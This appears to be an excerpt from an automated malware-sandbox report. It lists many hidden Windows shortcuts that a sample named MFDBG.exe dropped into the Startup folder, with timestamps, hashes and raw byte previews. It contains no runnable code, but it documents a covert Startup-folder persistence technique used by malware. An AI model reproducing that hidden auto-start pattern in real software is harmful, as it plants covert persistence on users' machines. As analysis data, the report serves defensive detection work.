Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....%..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_847e04532b5d4c1092439ea4d3a89e64.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939025563920159
Encrypted:	false
SSDEEP:	24:8UhBfA8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8W90R6rMhpBoUBxdRd1nYyg
MD5:	589ED37BAFB41C6A8B2FA625E34EC202
SHA1:	633F957BE74DBB1511F9C1453AB99FE96803A91E
SHA-256:	18D15DABB5CD4323A2D5D85822AF98A813FA64E2D7B934069DBA1B94D269302C
SHA-512:	665DBC4CDBD0082EC7451C17BEA17DAAC7B19F897C5531ABFE7F34D46D14CE8811BEB00BDAC2D88B3DCD397826E99DDADA4073FC6ACF07B1E566825765E3E53C
Malicious:	false
Preview:	L..................F...."...]W%.{....W~.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...(...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_84f1a0de31fe47f6b8e47262995631f2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936129567023414
Encrypted:	false
SSDEEP:	24:8CPhBfP48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8CTH90R6rMhpBoUBxdRd1nYyg
MD5:	718E606F76F6C4045C9E195B5F7D0CFC
SHA1:	2108C9CBD77539BAC2E72424B3154845ADE1FC7C
SHA-256:	FA66ED5126E2AF042FD3253A336A51A3ABFE086A50AA88445921F135C29EA9B1
SHA-512:	4271F100C14E77021A9C24A68EBF03DD508FB9F00C0D170D3500CBEF3AAEDA53525741D41FA4EFE7917D00B4D30AFEF306CD6C3027377C33EB904DD57F9E4506
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....x .\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_84fb336b69ed4a1fa67753e4278f1aa7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939508600471538
Encrypted:	false
SSDEEP:	24:81khBfh8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8c+0R6rMhpBoUBxdRd1nYyg
MD5:	FB49ACF06B5CECF50E6C58EB8A7BFBF2
SHA1:	BD11D98E27746B3663BE1EE89E0F83A428FCAE8D
SHA-256:	2ECCBD551CC913FD8F57AB13EAAD9B5E18DD0EBC72BC3B99E2FC45FBDB1EF5A3
SHA-512:	0C01632AC4E5CFB9E34DF00B506F63C91BBA9ACBB612032DBC6AACC37F06D49EA5FEBD1237ACB6E17F5CF990A62AC3E2A5F1F41E930149521FD66A814D248178
Malicious:	false
Preview:	L..................F...."...]W%.{.....$.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....0".{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_854aff189aca4bc38c40c8709abce53f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936794666144263
Encrypted:	false
SSDEEP:	24:859hBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8nKI0R6rMhpBoUBxdRd1nYyg
MD5:	B0B416CF91DE1D672C10B34060C008DA
SHA1:	5AB93686768499CBA256F549B8B4C0B19A26693B
SHA-256:	FBE16252CE1EB22030FA09299E178EF6D4D0FEB1FA1C07B3DD7C404E7E9A2AA1
SHA-512:	7EF2CE90704C86D817FD7FD87730B96941D2AB26692CC8117058E6644A6841FB566E698DF5862C55AE871260602EC3EE409D148D9609448AB6AD998E6DD5B8A1
Malicious:	false
Preview:	L..................F...."...]W%.{....Wz.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_85e020505e2c4fb39a80e3c7814e6f15.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942225111755545
Encrypted:	false
SSDEEP:	24:8zmhBfX8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zsU0R6rMhpBoUBxdRd1nYyg
MD5:	048835D8DC3D33E4CC6001021A9A522D
SHA1:	185AAA2CE09159E151EE8B65942A34364191AD9F
SHA-256:	5EE23FBF1B426A2DBA8C4AD2D194B881181202DAAE0F395BADFED4BA6D281CFB
SHA-512:	1C1E8D3A33B52887EF9C409855E312147536B688954731CD0150B6FD0EE715211C0FEE683FD82E3FADBCEE54425EF3BCEB4F2D84F4BA240322EF9F4DEA46EF41
Malicious:	false
Preview:	L..................F...."...]W%.{...e.z.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....n.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_86185feb1b144be7923538ee52eca9a6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:40 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939295759132167
Encrypted:	false
SSDEEP:	24:8shBfU8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ep0R6rMhpBoUBxdRd1nYyg
MD5:	F2663EF95B4F34B634B770E0A2E0348E
SHA1:	4854206EF4C9B817262FA2CC0DF1297FBBC90B35
SHA-256:	9E175481DA81EB741727C8886C5A20D2014DDF9E1EDFD819085EFFD53487C5CB
SHA-512:	3D1A14C4EBD8D194EB673E905D120B7A1B2F7FA710F2D6A6B63CC8B2F926BFC42C4E3DA381E1BC26DB5FC5A1E12A1B2E1128CAF14B25476D649CFEF3ACC015F7
Malicious:	false
Preview:	L..................F...."...]W%.{......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_871fb545d3cb430aa2e8aae46cc3e5c0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940085712394053
Encrypted:	false
SSDEEP:	24:8ahBfWw48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Q+e0R6rMhpBoUBxdRd1nYyg
MD5:	CF31C2474F4532C97BC7080A7101BF45
SHA1:	029C2A778AFB6F9F9725B65D0B0AAAFC492F4043
SHA-256:	92E39610F1F2A091086E7F31E778B3D15CFD02EBAE820DF60FA08B88DA9B6D5C
SHA-512:	4E4994789E38A605A63CA11511F29C86EF38C614D08CBDD4635E94E14111D3E9B1D1106E942C2DAB3F34787EE4F81BA3F3FA016202A6ECB554C492C976AB3485
Malicious:	false
Preview:	L..................F...."...]W%.{....V..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...'...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_87779c3eda7e4f0b90f03be30674b854.lnk

Download File

Process:	C:\ProgramData\KKEBKJJDGH.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:49:58 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937685512144309
Encrypted:	false
SSDEEP:	24:8KphBfr8iVRdgKUJEDBoNRABVDi0RTp1A6LpLgUqygm:84Q0RaCDBoUBxdRd1nYyg
MD5:	B76D1DE13980E1DA39AF939BF85CF524
SHA1:	6C29888B79EA6501A89EE25B49415DDE28959D87
SHA-256:	6224FACBCD6679A098E44F2CD69DC0626D4E1ACBC771223E8B288E7BC6043C8E
SHA-512:	CB76BED1915CA9453B4A082B7D02D42DC801D7176D5A479694ACB53424E22B75AEDBE1F7C7F1ADB59508F3401717FAD474FEC0E5AC7C914E0143E09B22B829D9
Malicious:	false
Preview:	L..................F...."...]W%.{...]W%.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....3.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y)...Temp..:......DWSl9Y).....\.........................T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@...........................d..M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8777edbc9c8940448975fffaa033bdf4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928907552065211
Encrypted:	false
SSDEEP:	24:8YjhBfGY8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Mud0R6rMhpBoUBxdRd1nYyg
MD5:	21D1B28598B36FC47CA3B0ECACCB87FA
SHA1:	22B147ABF7C929EE1DDE5C81FD0044BC8450B99C
SHA-256:	AFC4FBCC6F9C39CF5B3D288C9730CA912F89B65A0054779AFA33E8D8FE3201BA
SHA-512:	95B13E0E837BC82177B87F4C8B435B755602922223BC0BBDE68C436F0AD157A27591B1AAA9EB6BABFB3AADB9AA36C02AAFB232FB9545642755AB494A3D976085
Malicious:	false
Preview:	L..................F...."...]W%.{...h)..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_88058317d60c47ea930deb5a1460730f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941182727810648
Encrypted:	false
SSDEEP:	24:8RhBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8hy0R6rMhpBoUBxdRd1nYyg
MD5:	E6696D5A85E5FC0F7D30EA6018C5D356
SHA1:	7845D163D01951CD588C172C880981A43F721835
SHA-256:	18A503DB3F7DFF4C98C09A6A794E2BBDF2D60BC89E6E345C490499C600A566E3
SHA-512:	114D0602A3628E9125B7B58A5C69B89B3859019CECF198CD212C52A7F7438F0BC577BBDFD04164159264C5419A220E4C70CD4B6F7DB5211F4C8ECA09158F72CB
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8827589807534f95bd957caea260332e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940808019943331
Encrypted:	false
SSDEEP:	24:8GhBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8MC0R6rMhpBoUBxdRd1nYyg
MD5:	15C9A57BCF79357810800A55756DF503
SHA1:	CB9D48632B1AF00CC16EF9455049CD14EC2D8E34
SHA-256:	84A7192E929A86EC68AEC1D9E698A7223935D40D8830F48F408A930489BEE440
SHA-512:	18817F53F75CCF88770EB05EC8E8CF077242EC0ED17D2F74DB57F24AD0CCD569E941F5D49DF1E25657131E0F4F4C3D0C96B27807DACFEE28C6654266CAE35DE6
Malicious:	false
Preview:	L..................F...."...]W%.{...2.%.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s#.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8907fe635da646e4872837f438833bee.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940969886471277
Encrypted:	false
SSDEEP:	24:8A8hBfg8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Bd0R6rMhpBoUBxdRd1nYyg
MD5:	15C3C6DB7A38FF49821C5F6533090F3D
SHA1:	DFF6FBB9CA792DE2C4C3D63D22C7526F763EA4FC
SHA-256:	47F96F4C9ED6B724238BECBD0AEB253FBCE1D5DB4FBAA02BB8EEF978792C78FD
SHA-512:	BB1DDC8A51196A95C9B7131559966D4C3EF57C3D1F0B21BE8BC9B9ECA63635D16D337A7AA8E2388EE0163447755D4BF7B06C71DA6D6687DF0740ACFCA56DD11D
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_892e61d4a4e246f9b40d4070b7579b7b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936004712882379
Encrypted:	false
SSDEEP:	24:87zhBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:87Hi0R6rMhpBoUBxdRd1nYyg
MD5:	DBAD7A08946D5FB9F9C2F934436E36DB
SHA1:	F41E344605EA75A306B1E4041CFBE5CC7685EC91
SHA-256:	A6458D3DCF20985C34A2731343271643685FECF8531FCE11024EB6D58ED8A15B
SHA-512:	737BDE3574A5FA6AE67A05DF65F76022F8193454857CDE930D3F49CBB0C610D48D03F7E023DD80B9148D26662B4B441A22154EC64A151E137F7E45920C2E5122
Malicious:	false
